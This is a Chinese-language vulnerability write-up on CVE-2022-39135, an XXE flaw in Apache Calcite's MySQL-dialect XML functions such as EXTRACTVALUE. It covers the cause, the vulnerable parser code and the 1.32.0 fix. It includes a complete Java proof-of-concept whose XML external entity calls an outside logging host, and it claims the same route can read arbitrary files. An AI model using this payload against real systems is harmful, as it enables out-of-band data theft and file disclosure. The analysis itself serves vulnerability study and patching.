CVE-2022-39135(Apache calcite xxe)分析

漏洞影响版本:<1.32.0的所有版本

0X01:Apache calcite

Apachecacite是一个动态数据库管理框架,它自身是包含一套符合行业标准的sql解析与验证器,既然支持解析sql语句,那么就有可能存在内建函数缺陷(例如mysql低版本的load_file函数可以写入任意文件,在高版本中便默认不支持)

0X02:起因

这个CVE是因为Apache calcite中的EXISTSNODE、EXTRACTXML、XMLTRANSFORM、 EXTRACTVALUE函数支持解析xml,并且在解析xml时默认支持解析外部实体引用从而导致XXE

0X03:分析

查阅官方文档,对其有如下解释

机翻了一下:

方言特定运算符永久链接

以下运算符不在SQL标准中,并且未在Calcite的默认运算符表中启用。只有当会话启用了额外的运算符表时,它们才可用于查询。

要启用运算符表,请设置fun connect字符串参数。

“C”(兼容性)列包含值:

“b”表示Google BigQuery(连接字符串中的“fun=BigQuery”),

“h”表示Apache Hive(连接字符串中的“fun=Hive”),

“m”表示MySQL(连接字符串中的“fun=MySQL”),

“o”表示Oracle(连接字符串中的“fun=Oracle”),

‘p’表示PostgreSQL(连接字符串中的’fun=PostgreSQL’),

“s”表示Apache Spark(连接字符串中的“fun=Spark”)。

一个运算符名称可能对应于多个SQL方言,但语义不同。

大概的意思是,Apache calcite支持SQL方言,并且有b,h,m,o,p,s多种数据库模式,只用设置对应的键值对就能启动对应的方言,那我们漏洞涉及到的方法是哪一种方言呢?这里我们挑选其中一个EXTRACTVALUE来进行验证

可以看到该方法的作用是解析xml并且返回第一个文本节点的文本,该方法对应的是m,也就是mysql,要启用对这个方法的支持需要设置fun的值为mysql,如何设置该值呢?

我们通过setProperty的方法设置对应的键值对并且将其注册到calcite链接中

1
2
3
4
5
6
Properties info = new Properties();
info.setProperty("fun","mysql");//开启支持mysql方言,为了支持EXTRACTVALUE函数
Connection connection = DriverManager.getConnection("jdbc:calcite:", info);//建立calcite链接对象
CalciteConnection calciteConnection = connection.unwrap(CalciteConnection.class);
Statement statement = calciteConnection.createStatement();
ResultSet resultSet = statement.executeQuery(sql);

完整payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import org.apache.calcite.jdbc.CalciteConnection;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Properties;

public class Exp {
public static void main(String[] args) throws Exception{
String payload ="<!DOCTYPE aaa [ <!ENTITY entity SYSTEM \"http://0b8e40cf.toxiclog.xyz\"> ]><aaa>&entity;</aaa>";
String sql = String.format("SELECT EXTRACTVALUE('%s','/aaa') AS ENTITY",payload);
Properties info = new Properties();
info.setProperty("fun","mysql");//开启mysql方言支持
Connection connection = DriverManager.getConnection("jdbc:calcite:", info);
CalciteConnection calciteConnection = connection.unwrap(CalciteConnection.class);
Statement statement = calciteConnection.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
resultSet.next();//触发解析
}
}

在查询获得resultSet后调用next方法时触发xml解析

跟进evaluate,在290行处直接newDocumentBuilder然后直接在291行处调用parse,没有设置关闭外部实体加载

触发dns解析

读取到任意文件

0X05:官方修复

此处的input就是我们的xml字符串,原来直接将input带入evalute中,而1.32.0版本中input经过了getDocumentNode进行处理

getDocumentNode中去new了DocumentBuilder

并且DOCUMENT_BUILDER_FACTORY.get()中已经设置了禁止加载外部实体

进而漏洞就无法触发了